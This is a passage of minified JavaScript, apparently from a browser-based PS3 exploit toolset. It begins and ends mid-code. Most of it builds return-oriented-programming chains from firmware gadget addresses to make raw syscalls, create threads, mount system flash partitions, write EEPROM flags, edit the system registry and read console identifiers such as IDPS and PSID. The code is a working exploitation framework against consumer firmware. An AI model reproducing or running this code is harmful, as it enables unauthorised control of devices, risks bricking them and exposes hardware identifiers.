PS3 Firmware: "+t+"
VSH mode: "+helper.vmode+"
Kernel mode: "+helper.kmode+"
Custom Syscalls: "+n+"
"),setTimeout(function(){Logger.info("PS3 Firmware: "+t+" VSH mode: "+helper.vmode+" Kernel mode: "+helper.kmode),helper.sm.ready()?(toast("Hooking up vsh exports, please wait..","notice",5),setTimeout(function(){var t=new Date;Logger.info("Processed "+fillNIDfunc_OPDs([allocator,cellHttp,cellHttpUtil,cellRtc,netctl_main,pngdec_ppuonly,sysConsoleId,sysBdMediaId,sysPrxForUser,sys_fs,sys_fs_ps2disc,sys_io,sys_net,stdc,x3]).toString()+" vsh exports libraries "+getElapsedTime(t)),createDialogs(),e||s.removeClass("ui-state-disabled"),helper.rop.run(ringBuzzer(3)),toast("Xploit Initialization Complete
Toolset ready","success",5),setTimeout(function(){infoDialog(jQuery("#donations").html(),"Hosting Renewal Deadline Approaching",function(){$("#tabs").tabs("enable"),$("#tabs").tabs("option","disabled",[3])})},500)},750)):(helper.rop.run(ringBuzzer(1)),toast("Xploit Initialization completed with errors
Check the logs","warning",8))},25)},25)},2500)):(updateErrorDetails("PS3 Firmware: "+t+" XPLOIT ERROR","PS3 Firmware: "+t+" XPLOIT ERROR"),toast("An error occurred during the exploitation process","error",8)):(updateErrorDetails("PS3 Firmware version: "+t+" mismatch","PS3 Firmware version vs vsh.self version: mismatch detected"),Logger.warn("If you are using a firmware version spoofer, you should disable it (temporarily) before using the PS3 Toolset."),toast("The firmware on this console is not supported. This problem might be caused by firmware version spoofing.","error",8))}function dummy_frame(e){return fill(16,helper.dbyte41)+hexdw2bin(helper.gadgets_box.ugadget15_addr)+fill(192,helper.dbyte41)+hexdw2bin(e)}function set_r30_r31(e,t){return fill(16,helper.dbyte41)+hexdw2bin(helper.gadgets_box.ugadget5_addr)+fill(88,helper.dbyte41)+hexdw2bin(e)+hexdw2bin(t)}function set_r3to11(e,t,r,s,o,l,n,i,a,p,c){return fill(16,helper.dbyte41)+hexdw2bin(helper.gadgets_box.ugadget4_addr)+fill(80,helper.dbyte41)+fill(12,helper.dbyte41)+hexw2bin(a)+hexw2bin(i)+hexw2bin(l)+hexw2bin(o)+hexw2bin(s)+hexw2bin(r)+hexw2bin(t)+hexw2bin(e)+fill(16,helper.dbyte41)+hexw2bin(n)+fill(32,helper.dbyte41)+hexdw2bin(p)+fill(8,helper.dbyte41)+hexdw2bin(c)}function move_r29_into_r3(e){return fill(16,helper.dbyte41)+hexdw2bin(helper.gadgets_box.ugadget7_addr)+fill(112,helper.dbyte41)+hexdw2bin(e)}function move_r31_into_r3(e){return fill(16,helper.dbyte41)+hexdw2bin(helper.gadgets_box.ugadget6_addr)+fill(96,helper.dbyte41)+hexdw2bin(e)}function move_r3_into_r4(e){return fill(16,helper.dbyte41)+hexdw2bin(helper.gadgets_box.ugadget14_addr)+fill(128,helper.dbyte41)+hexdw2bin(e)}function move_r4_into_r3(e){return fill(16,helper.dbyte41)+hexdw2bin(helper.gadgets_box.ugadget14_addr+4)+fill(128,helper.dbyte41)+hexdw2bin(e)}function move_r6_into_r3(e,t,r,s,o){return fill(16,helper.dbyte41)+hexdw2bin(helper.gadgets_box.ugadget18_addr)+fill(96,helper.dbyte41)+hexdw2bin(e)+hexdw2bin(t)+hexdw2bin(r)+hexdw2bin(s)+hexdw2bin(o)}function move_r7_into_r3(e){return fill(16,helper.dbyte41)+hexdw2bin(helper.gadgets_box.ugadget24_addr)+fill(96,helper.dbyte41)+hexdw2bin(e)}function move_r10_into_r3(e,t){return fill(16,helper.dbyte41)+hexdw2bin(helper.gadgets_box.ugadget21_addr)+fill(88,helper.dbyte41)+hexdw2bin(e)+hexdw2bin(t)}function set_r29_r31(e,t){return fill(16,helper.dbyte41)+hexdw2bin(helper.gadgets_box.ugadget19_addr+36)+fill(128,helper.dbyte41)+hexdw2bin(e)+fill(8,helper.dbyte41)+hexdw2bin(t)}function set_r9_r10_r11_words(e,t,r,s,o){return set_r29_r31()+fill(16,helper.dbyte41)+hexdw2bin(helper.gadgets_box.ugadget19_addr)+fill(92,helper.dbyte41)+hexw2bin(e)+hexw2bin(r)+hexw2bin(t)+fill(24,helper.dbyte41)+hexdw2bin(s)+fill(8,helper.dbyte41)+hexdw2bin(o)}function move_r9_into_r3(){var e=helper.heap.store(helper.gadgets_box.ugadget25_addr.toString32()+helper.snull32);return helper.heap.queue(e),set_r29_r31()+fill(16,helper.dbyte41)+hexdw2bin(helper.gadgets_box.ugadget19_addr+4)+fill(96,helper.dbyte41)+hexw2bin(e)+fill(28,helper.dbyte41)+hexdw2bin(null)+fill(8,helper.dbyte41)+hexdw2bin(null)+fill(16,helper.dbyte41)+hexdw2bin(helper.gadgets_box.ugadget17_addr)+fill(88,helper.dbyte41)}function move_r8_into_r3(){var e=helper.heap.store(helper.gadgets_box.ugadget22_addr.toString32()+helper.snull32);return helper.heap.queue(e),set_r9_r10_r11_words(0,0,e)+fill(16,helper.dbyte41)+hexdw2bin(helper.gadgets_box.ugadget17_addr)+fill(88,helper.dbyte41)}function move_r5_into_r3(){var e=helper.heap.store(helper.gadgets_box.ugadget23_addr.toString32()+helper.snull32);return helper.heap.queue(e),set_r9_r10_r11_words(0,0,e)+fill(16,helper.dbyte41)+hexdw2bin(helper.gadgets_box.ugadget17_addr)+fill(88,helper.dbyte41)}function store_r3_dword(e,t){return set_r9_r10_r11_words(0,e,0)+fill(16,helper.dbyte41)+hexdw2bin(helper.gadgets_box.ugadget20_addr)+fill(96,helper.dbyte41)+hexdw2bin(t)}function store_r4_dword(e,t){return move_r4_into_r3()+store_r3_dword(e,t)}function store_r5_dword(e,t){return move_r5_into_r3()+store_r3_dword(e,t)}function store_r6_dword(e,t){return move_r6_into_r3()+store_r3_dword(e,t)}function store_r7_dword(e,t){return move_r7_into_r3()+store_r3_dword(e,t)}function store_r8_dword(e,t){return move_r8_into_r3()+store_r3_dword(e,t)}function store_r9_dword(e,t){return move_r9_into_r3()+store_r3_dword(e,t)}function store_r10_dword(e,t){return move_r10_into_r3()+store_r3_dword(e,t)}function restore_toc(e){return fill(16,helper.dbyte41)+hexdw2bin(helper.gadgets_box.ugadget8_addr)+fill(16,0)+hexdw2bin(e)+fill(64,helper.dbyte41)}function store_r3_word(e,t){return fill(16,helper.dbyte41)+hexdw2bin(helper.gadgets_box.ugadget11_addr+4)+fill(96,helper.dbyte41)+hexdw2bin(e)+fill(16,helper.dbyte41)+hexdw2bin(helper.gadgets_box.ugadget11_addr)+fill(96,helper.dbyte41)+hexdw2bin(t)}function syscall(e,t,r,s,o,l,n,i,a,p,c,d,u,h,g,f){return set_r30_r31()+set_r3to11(0,0,s,o,l,n,i,a,e)+set_r30_r31(t,r)+fill(16,helper.dbyte41)+hexdw2bin(helper.gadgets_box.ugadget16_addr)+fill(128,helper.dbyte41)+hexdw2bin(p)+hexdw2bin(c)+hexdw2bin(d)+hexdw2bin(u)+hexdw2bin(h)+hexdw2bin(g)+hexdw2bin(f)}function syscall32(e,t,r,s,o,l,n,i,a){return set_r30_r31()+set_r3to11(t,r,s,o,l,n,i,a,e)+fill(16,helper.dbyte41)+hexdw2bin(helper.gadgets_box.ugadget9_addr)+fill(104,helper.dbyte41)}function call_subByOpd(e,t,r,s,o,l,n,i,a){return set_r30_r31()+set_r3to11(t,r,s,o,l,n,i,a,e)+fill(16,helper.dbyte41)+hexdw2bin(helper.gadgets_box.ugadget17_addr)+fill(88,helper.dbyte41)}function call_sub(e,t,r,s,o,l,n,i,a,p){var c=helper.heap.store(e.toString32()+t.toString32());return helper.heap.queue(c),call_subByOpd(c,r,s,o,l,n,i,a,p)}function callsub(e,t,r,s,o,l,n,i,a,p,c,d,u,h){return d<96&&helper.error("callsub cannot use the gadget at 0x"+e.toString(16)+" because its frame size is < 0x"+96..toString(16)),restore_toc(t)+set_r30_r31()+set_r3to11(r,s,o,l,n,i,a,p,c)+fill(16,helper.dbyte41)+hexdw2bin(e)+fill(16,helper.dbyte41)+hexdw2bin(helper.gadgets_box.fptoc_addr)+fill(d-56,0)+hexdw2bin(h)}function call(e,t,r,s,o,l,n,i,a){return helper.rop.rrun(call_subByOpd(e,t,r,s,o,l,n,i,a))}function callf(e,t,r,s,o,l,n,i,a){return call(helper.memory.upeek32(helper.gadgets_box.fpdbase+e),t,r,s,o,l,n,i,a)}function get_stat(e){var t=helper.heap.store(128);return helper.heap.queue(t),0!==stdc.stat(e,t)?(console.log("stat failed: errno "+stdc.export_44115dd0()),0):t}function fsitem_exists(e){var t=helper.heap.store(e,!0),r=helper.heap.store(128),s=stdc.stat(t,r);return helper.heap.free([t,r]),0===s}function fsitem_getsize(e){var t=helper.heap.store(128),r=helper.heap.store(e,!0),s=helper.rop.rrun(syscall32(helper.sc_fs_stat,r,t)),o=helper.memory.upeek32(t+helper.stat_size_offset);return o=o>=2147483648?0:o,helper.heap.free([t,r]),0!==s?(Logger.error("fsitem_getsize stat error: 0x"+s),-1):o}function getSHA256hash(e,t){var r=helper.heap.store(32),s=sdk.cellCryptoPuSha256Hash(r,e,t);console.log("getSHA256hash: "+s);var o=helper.memory.upeeks(r,32,!1);return helper.heap.free([r]),o.toUpperCase()}function getSHA1hash(e,t){var r=helper.heap.store(20),s=(sdk.cellCryptoPuSha1Hash(r,e,t),helper.memory.upeeks(r,20,!1));return helper.heap.free([r]),s}function makeDir(e){var t=helper.heap.store(e,!0),r=stdc.mkdir(t);return helper.heap.free([e]),r}function removeDir(e){var t=helper.heap.store(e,!0),r=stdc.rmdir(t);return helper.heap.free([e]),r}function deleteFile(e){var t=helper.heap.store(e,!0),r=stdc.unlink(t);return helper.heap.free([e]),r}function moveFile(e,t){var r=copyFile(e,t);if(0===r){var s=helper.heap.store(e,!0);r=stdc.unlink(s),helper.heap.free([e])}return r}function copyFile(e,t,r,s){var o=new fileObject(e),l=new fileObject(t,helper.fs_flag_create_append_rw),n=-1,i=-1;function a(){n=o.close(),i=l.close(),0===n&&0===i?(Logger.info("copyFile: Files closed successfully"),0):0!==n?Logger.error("copyFile: Closing Error 0x"+n.toString(16)+" on source file "+e):Logger.error("copyFile: Closing Error 0x"+i.toString(16)+" on destination file "+t),r&&s&&$.Deferred().done(r).resolve(s)}function p(){s=toast("Copying file","warning",300);var r=helper.swf.getMaxAvailableBufferAllocSize();if(o.size>r){for(var p=Math.floor(o.size/r),c=o.size-p*r,d=0;d0?(Logger.warn("copyFile: Destination file already exists "+t),confirmDialog("If you continue, "+t+" will be overwritten","Confirm",p,null,a,null),0):(p(),0)}function createFile(e){var t=new fileObject(e),r=-1;return t.size<0&&(0===(r=t.open(helper.fs_flag_create))||t.fd>0)&&(r=t.close()),r}function prep_threading(){var e=helper.heap.store(helper.gadgets_box.ugadget12_addr.toString32()+helper.gadgets_box.fptoc_addr.toString32()),t=helper.heap.store(helper.gadgets_box.ugadget13_addr.toString32()+helper.gadgets_box.fptoc_addr.toString32());return{opd1:e,opd2:t,opd3:helper.heap.store(t.toString32())}}function createThread(e,t,r,s,o){var l=helper.heap.store(helper.gadgets_box.ugadget12_addr.toString32()+helper.gadgets_box.fptoc_addr.toString32()),n=helper.heap.store(helper.gadgets_box.ugadget13_addr.toString32()+helper.gadgets_box.fptoc_addr.toString32()),i=helper.heap.store(n.toString32());helper.heap.queue([l,n,i]),e=(e=dummy_frame()+e+syscall32(helper.sys_ppu_thread_exit,0)).slice(0,80)+helper.gadgets_box.fptoc_addr.toString64()+e.slice(288,616)+l.toString32()+e.slice(624);var a=helper.stack.store(e),p=e.length/2,c=helper.heap.store((a+128).toString32()),d=helper.heap.store(r,!0),u=helper.heap.store(8);helper.heap.queue([c,d,u]),helper.rop.run(syscall32(helper.sys_ppu_thread_create,u,i,c,0,s,o,t,d));var h=helper.memory.upeek32(u+4);return helper.rop.run(syscall32(helper.sys_ppu_thread_start,h)),helper.heap.free([u]),threadObject(h,a,p)}function threadObject(e,t,r){return{thread_id:e,stack_offset:t,stack_size:r}}function createThreadwithOPD(e,t,r,s,o,l){var n=(e=(e=dummy_frame()+e+ringBuzzer(3)+syscall32(helper.sys_ppu_thread_exit,0)).substr(0,80)+helper.gadgets_box.fptoc_addr.toString64()+e.substr(288,328)+l.opd1.toString32()+e.substr(624)).length/2,i=(new Date,helper.stack.store(e)),a=helper.heap.store((i+128).toString32()),p=helper.heap.store(r,!0),c=helper.heap.store(8);helper.rop.run(syscall32(helper.sys_ppu_thread_create,c,l.opd3,a,0,s,o,t,p));var d=helper.memory.upeek32(c+4);return helper.rop.run(syscall32(helper.sys_ppu_thread_start,d)),helper.heap.free([c,p,a]),{thread_id:d,stack_offset:i,stack_size:n}}function vset_r30_r31(e,t){return fill(16,helper.dbyte41)+vhexdw2bin(helper.vshgadgets_box.vgadget3_addr)+fill(88,helper.dbyte41)+vhexdw2bin(e)+vhexdw2bin(t)}function vset_r3to11(e,t,r,s,o,l,n,i,a,p,c,d){return vset_r30_r31()+fill(16,helper.dbyte41)+vhexdw2bin(helper.vshgadgets_box.vgadget4_addr)+fill(80,helper.dbyte41)+fill(12,helper.dbyte41)+hexw2bin(a)+hexw2bin(i)+hexw2bin(l)+hexw2bin(o)+hexw2bin(s)+hexw2bin(r)+hexw2bin(t)+fill(4,helper.dbyte41)+hexw2bin(n)+fill(16,helper.dbyte41)+vhexdw2bin(p)+vhexdw2bin(c)+vhexdw2bin(e)+fill(16,helper.dbyte41)+vhexdw2bin(helper.vshgadgets_box.vgadget5_addr)+fill(96,helper.dbyte41)+vhexdw2bin(d)}function vcall_subByOpd(e,t,r,s,o,l,n,i,a){return vset_r3to11(t,r,s,o,l,n,i,a,e)+fill(16,helper.dbyte41)+vhexdw2bin(helper.vshgadgets_box.vgadget8_addr)+fill(88,helper.dbyte41)}function vsyscall32(e,t,r,s,o,l,n,i,a){return vset_r3to11(t,r,s,o,l,n,i,a,e)+fill(16,helper.dbyte41)+vhexdw2bin(helper.vshgadgets_box.vgadget7_addr)+fill(104,helper.dbyte41)}function vstore_r3_word(e,t){return fill(16,helper.dbyte41)+vhexdw2bin(helper.vshgadgets_box.vgadget6_addr+4)+fill(96,helper.dbyte41)+vhexdw2bin(e)+fill(16,helper.dbyte41)+vhexdw2bin(helper.vshgadgets_box.vgadget6_addr)+fill(96,helper.dbyte41)+vhexdw2bin(t)}function vringBuzzer(e){var t=4,r=6;return 3===e?(t=10,r=438):10===e&&(t=10,r=4095),vsyscall32(helper.sc_sm_ring_buzzer,4100,t,r)}function createExternalResourceThread(e,t,r,s,o,l){helper.memory.upokes(l,(l-20).toString64()+helper.vshgadgets_box.vgadget10_addr.toString32()+helper.vshgadgets_box.vtoc_addr.toString32()+(l+8).toString32()+(l+65536).toString32()+"0000000000000000"+r.toAscii8()),e=helper.vshgadgets_box.vgadget9_addr.toString32()+helper.vshgadgets_box.vtoc_addr.toString32()+fill(32,helper.dbyte41)+helper.vshgadgets_box.vtoc_addr.toString64()+fill(64,helper.dbyte41)+e+vsyscall32(helper.sys_ppu_thread_exit,0),helper.memory.upokes(l+65536,e),helper.rop.run(syscall32(helper.sys_ppu_thread_create,l+24,l+16,l,0,s,o,t,l+32));var n=helper.memory.upeek32(l+28);return helper.rop.run(syscall32(helper.sys_ppu_thread_start,n)),Logger.info("Started External Thread with ID: 0x"+n.toString(16)),{thread_id:n,stack_offset:l+65536,stack_size:e.length/2}}function startThread(e){helper.rop.run(syscall32(helper.sys_ppu_thread_start,e))}function joinThread(e){var t=helper.heap.store(8);helper.rop.run(syscall32(helper.sys_ppu_thread_join,e,t));var r=helper.memory.upeek32(t+4);return helper.heap.free([t]),r}function stopThread(e){helper.rop.run(syscall32(helper.sys_ppu_thread_stop,e)+syscall32(helper.sys_ppu_thread_exit,0))}function runNewThreadAndWait(e,t,r,s,o){return 0===joinThread(createThread(e,t,r,s,o))?0:1}function sleep(e){helper.rop.run(syscall32(helper.sys_timer_sleep,e))}function usleep(e){helper.rop.run(syscall32(helper.sys_timer_usleep,e))}function ringBuzzer(e){var t=4,r=6;return 3===e?(t=10,r=438):10===e&&(t=10,r=4095),syscall32(helper.sc_sm_ring_buzzer,4100,t,r)}function mountPartition(e,t,r,s){if(!fsitem_exists(r)){var o=helper.heap.store(e,!0),l=helper.heap.store(t,!0),n=helper.heap.store(r,!0),i=!0===r.startsWith("/dev_usb")?helper.heap.store():0;null==s&&(s=0);var a=helper.rop.rrun(syscall32(helper.sc_fs_mount,o,l,n,0,s,0,i,0));return helper.heap.free(0===i?[o,l,n]:[o,l,n,i]),a}return 0}function unmount_partition(e){return e&&e.length>6&&fsitem_exists(e)?unmountPartition(e):0}function unmountPartition(e){var t=helper.heap.store(e,!0),r=helper.rop.rrun(syscall32(helper.sc_fs_unmount,t,0,0));return helper.heap.free([t]),r}function unmount_altdevblind(){unmount_partition("/dev_rebug"),unmount_partition("/dev_wflash"),unmount_partition("/dev_rwflash")}function deleteXRegistryKey(e){var t=helper.heap.store(e,!0),r=helper.rop.rrun(call_sub(helper.vshgadgets_box.vgadget1_addr,helper.vshgadgets_box.vtoc_addr)),s=x3.xRegistryDeleteKey(r,t,0);return helper.heap.free([t]),s}function setXRegistryValue(e,t,r,s){var o=helper.heap.store(e,!0),l=helper.heap.store(1024),n=0;s>0?(Logger.info("setXRegistryValue storing new xreg string "+t+" at 0x"+l.toString(16)),Logger.info("setXRegistryValue type 0x"+s.toString(16)+" length: 0x"+r.toString(16)+" value string length: 0x"+t.length.toString(16)),helper.memory.upokes(l,t,!0),n=l):"NaN"!==parseInt(t)?(Logger.info("setXRegistryValue storing new xreg integer "+t+" at 0x"+l.toString(16)),Logger.info("setXRegistryValue type 0x"+s.toString(16)+" length: 0x"+r.toString(16)),n=parseInt(t)):(Logger.info("setXRegistryValue storing new xreg value "+t+" as string at 0x"+l.toString(16)),Logger.info("setXRegistryValue type 0x"+s.toString(16)+" length: 0x"+r.toString(16)+" value string length: 0x"+t.length.toString(16)),helper.memory.upokes(l,t,!0),n=l);var i=helper.rop.rrun(call_sub(helper.vshgadgets_box.vgadget1_addr,helper.vshgadgets_box.vtoc_addr)),a=x3.xRegistrySetValue(helper.memory.upeek32(i+68),o,n,r,s);return helper.rop.run(call_sub(helper.vshgadgets_box.vgadget2_addr,helper.vshgadgets_box.vtoc_addr,i,o,l)),helper.heap.free([o,l]),a}function getXRegistryValueInt32(e){var t=helper.heap.store(),r=helper.heap.store(e,!0),s=helper.rop.rrun(call_sub(helper.vshgadgets_box.vgadget1_addr,helper.vshgadgets_box.vtoc_addr));helper.rop.run(call_sub(helper.vshgadgets_box.vgadget2_addr,helper.vshgadgets_box.vtoc_addr,s,r,t));var o=helper.memory.upeek32(t);return helper.heap.free([t,r]),o}var xRegistry=function(){var e=0;this.xopen=function(){if(0===e){var t=helper.heap.store(),r=x3.xRegistryGetDefaultInstance(1,t);if(0!==r)Logger.error("getXRegistryDefaultInstance error: 0x"+r.toString(16));else if(e=helper.memory.upeek32(t),Logger.info("xopen: xRegistryGetDefaultInstance instance: 0x"+e.toString(16)),0===e){alert("no xRegistry instance with x3 method, trying alternative method");var s=helper.rop.rrun(call_sub(helper.vshgadgets_box.vgadget1_addr,helper.vshgadgets_box.vtoc_addr));s>0?(e=helper.memory.upeek32(s+68),Logger.info("xopen: xRegistry instance: 0x"+e.toString(16))):Logger.error("xopen error getting default instance")}helper.heap.free([t])}return e},this.xclose=function(){if(e>0){var t=x3.xRegistryDestroyInstance(e);0===t?e=0:Logger.error("xclose error: 0x"+t.toString(16))}},this.xadd=function(t,r,s,o){if(0===this.xopen())return Logger.error("xadd: default xRegistry object instance error"),null;var l=0,n=[];"number"==typeof t&&t>0?l=t:"string"==typeof t&&t.length>0&&(l=helper.heap.store(t,!0),n.push(l));var i=helper.heap.store(1024),a=0;s>0||isNaN(r)?(helper.memory.upokes(i,r,!0),a=i):isNaN(r)||(a=parseInt(r));var p=0;return l>0&&0!==(p=x3.xRegistryAddKey(e,l,a,o,s))&&Logger.error("xadd error: 0x"+p.toString(16)),n.length>0&&helper.heap.free(n),p},this.xdelete=function(e){if(0===this.xopen())return Logger.error("xdelete: default xRegistry object instance error"),null;var t=0,r=[];"number"==typeof e&&e>0?t=e:"string"==typeof e&&e.length>0&&(t=helper.heap.store(e,!0),r.push(t));var s=0;return t>0&&0!==(s=x3.xRegistryDeleteKey(t,1))&&Logger.error("xdelete error: 0x"+s.toString(16)),r.length>0&&helper.heap.free(r),s},this.xget=function(t){if(0===this.xopen())return Logger.error("xget: default xRegistry object instance error"),null;var r=0,s=0,o=0,l=0,n=0,i="",a=[],p=null;try{if("object"==typeof t&&t.pointer>0&&t.setting.length>9)r=t.pointer,i=t.setting;else{if(!("string"==typeof t&&t.length>9))throw Error("invalid _setting argument");r=helper.heap.store(t,!0),a.push(r),i=t}var c=helper.heap.store(16);a.push(c);var d=x3.xRegistryGetValue(e,r,c+12,c,c+4,c+8),u=helper.memory.upeeks(c,16);if(0===d&&(Logger.info(i+" : "+u),s=parseInt(u.substr(16,8),16),o=parseInt(u.substr(8,8),16),l=parseInt(u.substr(0,8),16),p={error:d,setting:i,value:n=(n=parseInt(u.substr(-8),16))>268435456&&o>0&&l>0?helper.memory.secure_upeeks(n,l+1,!0):o>0?"":n,length:l=o>0&&0===n.length?0:l,type:o},s>0)){var h=x3.xRegistryDestroy(s);0!==h&&Logger.error("xget xRegistryDestroy error: 0x"+h.toString(16))}}catch(e){Logger.info(e)}finally{return helper.heap.free(a),p}},this.xset=function(t,r,s,o){if(0===this.xopen())return Logger.error("xset cannot get default xRegistry object instance"),null;var l=helper.heap.store(t,!0),n=[l],i=0,a=0;if(s>0||isNaN(r))i=helper.heap.store(1024),helper.memory.upokes(i,r,!0),a=i,n.push(i);else{if(isNaN(r))return Logger.error("xset argument error value: "+r),helper.heap.free(n),-1;a=parseInt(r)}var p=x3.xRegistrySetValue(e,l,a,o,s);return 0!==p&&Logger.error("xset error: 0x"+p.toString(16)),helper.heap.free(n),p},this.xgetList=function(t){if(0===this.xopen())return Logger.error("xgetList cannot get default xRegistry object instance"),null;var r=helper.heap.store(t,!0),s=helper.heap.store(16),o=x3.xRegistryGetList(e,r,s,s+4,s+8);0!==o&&Logger.error("xgetList error: 0x"+o.toString(16));var l=helper.memory.upeek32(s),n=helper.memory.upeek32(s+4),i=helper.memory.upeeks(s+8,6),a=[parseInt(i.substr(0,4),16),parseInt(i.substr(4,4),16),parseInt(i.substr(8,4),16)];return helper.heap.free([r,s]),{error:o,setting:t,list:l,length:n,unk3:a}},this.xdestroyList=function(e){var t=0;return"number"==typeof e&&e>0&&0!==(t=x3.xRegistryDestroyList(e))&&Logger.error("xdestroyList error: 0x"+t.toString(16)),t}};function getExdataPath(){return helper.profileId||(helper.profileId=getXRegistryValueInt32("/setting/user/lastLoginUserId").toString32()),"/dev_hdd0/home/"+helper.profileId+"/exdata/"}function getMinVer(){var e=helper.heap.store(40),t=helper.rop.rrun(syscall32(helper.sc_ss_update_manager,24593,1,e,0,0,0,0,0)),r=0===t?helper.memory.upeek8(e+1).toString(16)+"."+helper.memory.upeek8(e+3).toString(16):0;return helper.heap.free([e]),{version:r,error:0===t?0:t.toString(16)}}function setEEPROMValue(e,t){return helper.rop.rrun(syscall32(helper.sc_ss_update_manager,24588,e,t,0,0,0,0))}function getEEPROMValue(e){var t=helper.heap.store(8),r=helper.rop.rrun(syscall32(helper.sc_ss_update_manager,24587,e,t,0,0,0,0));Logger.info("getEEPROMValue: ret 0x"+r.toString(16)+" value 0x"+helper.memory.upeek32(t+4).toString(16));var s=0===r?helper.memory.upeek32(t+4).toString(16):0;return helper.heap.free([t]),{value:0===s?"":s.toUpperCase(),error:0===r?0:r.toString(16)}}function setRecoverFlag(){return setEEPROMValue(298081,255)}function getRecoverModeFlag(){var e=getEEPROMValue(298081);return{flag:e.value,error:e.error}}function getProductModeFlag(){var e=getEEPROMValue(297991);return{flag:e.value,error:e.error}}function getFSELFFlag(){var e=getEEPROMValue(297990);return{flag:e.value,error:e.error}}function getBootFlag(){var e=getEEPROMValue(298020);return{flag:e.value,error:e.error}}function getIDs(){var e=helper.heap.store(56),t=[],r=helper.rop.rrun(syscall32(helper.sc_ss_ai_manager,102402,e,0,0,0,0,0));return t.push({id:"Product Code",value:0===r?helper.memory.upeek8(e+15).toString(16).toUpperCase():"",error:0===r?0:"0x"+r.toString(16)}),r=helper.rop.rrun(syscall32(helper.sc_ss_ai_manager,102403,e+16,0,0,0,0,0)),t.push({id:"IDPS",value:0===r?helper.memory.upeeks(e+16,16,!1).toUpperCase():"",error:0===r?0:"0x"+r.toString(16)}),r=helper.rop.rrun(syscall32(helper.sc_ss_ai_manager,102404,e+32,0,0,0,0,0)),t.push({id:"Product SubCode",value:0===r?helper.memory.upeeks(e+36,2,!1).toUpperCase():"",error:0===r?0:"0x"+r.toString(16)}),r=helper.rop.rrun(syscall32(helper.sc_ss_ai_manager,102405,e+40,0,0,0,0,0)),t.push({id:"PSID",value:0===r?helper.memory.upeeks(e+40,16,!1).toUpperCase():"",error:0===r?0:"0x"+r.toString(16)}),helper.heap.free([e]),t}function getMtldrVersion(e){var t=helper.heap.store(512);if(0!==e.read(1,4,{offset:t,size:512}))return"";var r=helper.memory.upeeks(t+32,16,!0);return helper.heap.free([t]),r}function is_norflash(){var e=helper.heap.store(4);helper.rop.run(syscall32(helper.sc_ssgcf,e));var t=!(1&helper.memory.upeek8(e)),r=t?"NOR":"NAND";return Logger.info("Detected Flash Memory Type: "+r),helper.heap.free([e]),t}var lwmutexObject=function(e){var t=e,r=0;this.create=function(){var e=helper.heap.store(t),s=helper.heap.store(4),o=sysPrxForUser.lwmutex_create(s,e);return r=0===o?helper.memory.upeek32(s):0,helper.heap.free([s,e]),o},this.id=function(){return r},this.lock=function(e){return r>0?helper.rop.rrun(syscall32(helper.sys_lwmutex_lock,r,e||0)):-1},this.trylock=function(){return r>0?helper.rop.rrun(syscall32(helper.sys_lwmutex_trylock,r)):-1},this.unlock=function(){return r>0?helper.rop.rrun(syscall32(helper.sys_lwmutex_unlock,r)):-1},this.close=function(){var e=r>0?helper.rop.rrun(syscall32(helper.sys_lwmutex_destroy,r)):-1;return r=0===e?0:r,e}},mutexObject=function(e){var t=e,r=0;this.create=function(){var e=helper.heap.store(t),s=helper.heap.store(4),o=helper.rop.rrun(syscall32(helper.sys_mutex_create,s,e));return r=0===o?helper.memory.upeek32(s):0,0===o?Logger.info("Mutex created - handle: 0x"+r.toString(16)):Logger.error("Mutex creation failed - error: 0x"+o.toString(16)),helper.heap.free([s,e]),o},this.id=function(){return r},this.lock=function(e){return r>0?helper.rop.rrun(syscall32(helper.sys_mutex_lock,r,e||0)):-1},this.trylock=function(){return r>0?helper.rop.rrun(syscall32(helper.sys_mutex_trylock,r)):-1},this.unlock=function(){return r>0?helper.rop.rrun(syscall32(helper.sys_mutex_unlock,r)):-1},this.close=function(){var e=r>0?helper.rop.rrun(syscall32(helper.sys_mutex_destroy,r)):-1;return 0===e?Logger.info("Mutex closed - handle: 0x"+r.toString(16)):Logger.error("Mutex closing failed - handle: 0x"+r.toString(16)+" error: 0x"+e.toString(16)),r=0===e?0:r,e}},semaphoreObject=function(e){var t=helper.heap.store(e),r=helper.heap.store(4),s=helper.heap.store(),o=helper.heap.store(52),l=0,n=0,i="",a="",p="";this.create=function(){var e=helper.rop.rrun(syscall32(helper.sys_sem_create,r,t,0,1));return l=0===e?helper.memory.upeek32(r):0,0===e?Logger.info("Semaphore created - handle: 0x"+l.toString(16)):Logger.error("Semaphore creation failed - error: 0x"+e.toString(16)),l>0&&(a=syscall32(helper.sys_sem_post,l,1),p=syscall32(helper.sys_sem_getvalue,l,s),(n=helper.rop.rrun(syscall32(helper.sys_process_getpid)))>0&&(i=syscall32(helper.sys_dbg_get_seminfo,n,l,o))),e},this.id=function(){return l},this.getValue=function(){if(l>0){helper.memory.upoke32(ptr,4294967295),helper.rop.run(p);var e=helper.memory.upeek32(ptr);return 4294967295===e?-1:e}return-1},this.trywait=function(e){return l>0?helper.rop.rrun(syscall32(helper.sys_sem_trywait,l)):-1},this.wait=function(e){return l>0?helper.rop.rrun(syscall32(helper.sys_sem_wait,l,e||0)):-1},this.post=function(e){return l>0?helper.rop.rrun(syscall32(helper.sys_sem_post,l,e||1)):-1},this.fast_post=function(){l>0&&helper.rop.run(a)},this.numWaitThreads=function(){if(Logger.debug("numWaitThreads: Semaphore ID "+l.toString(16)+" Process ID "+n.toString(16)+" Info data at 0x"+o.toString(16)),l<=0||n<=0||i.length<=0)return Logger.error("numWaitThreads: Not Ready"),-1;helper.memory.upoke32(o+48,4294967295);var e=helper.rop.rrun(i);if(e>0)return Logger.error("numWaitThreads: error 0x"+e.toString(16)),-1;var t=helper.memory.upeek32(o+48);return Logger.debug("numWaitThreads: Waiting Threads count: "+t.toString(16)),4294967295===t?-1:t},this.close=function(){var e=l>0?helper.rop.rrun(syscall32(helper.sys_sem_close,l)):-1;return 0===e?Logger.info("Semaphore closed - handle: 0x"+l.toString(16)):Logger.error("Semaphore closing failed - handle: 0x"+l.toString(16)+" error: 0x"+e.toString(16)),0===(l=0===e?0:l)&&helper.heap.free([s]),e}},fileObject=function(e,t){Logger.info("File Object Creation: "+e),this.path=helper.heap.store(e,!0),this.fd=-1,this.buffer={offset:0,size:0},this.mode=t||helper.fs_flag_readonly,this.getsize=function(){var e=helper.heap.store(128);lockMutexes();var t=helper.rop.rrun(syscall32(helper.sc_fs_stat,this.path,e));unlockMutexes();var r=0===t?helper.memory.upeek32(e+helper.stat_size_offset):0;return helper.heap.free([e]),r},this.size=this.getsize(),this.chmod=function(e){var t=4294967295;return 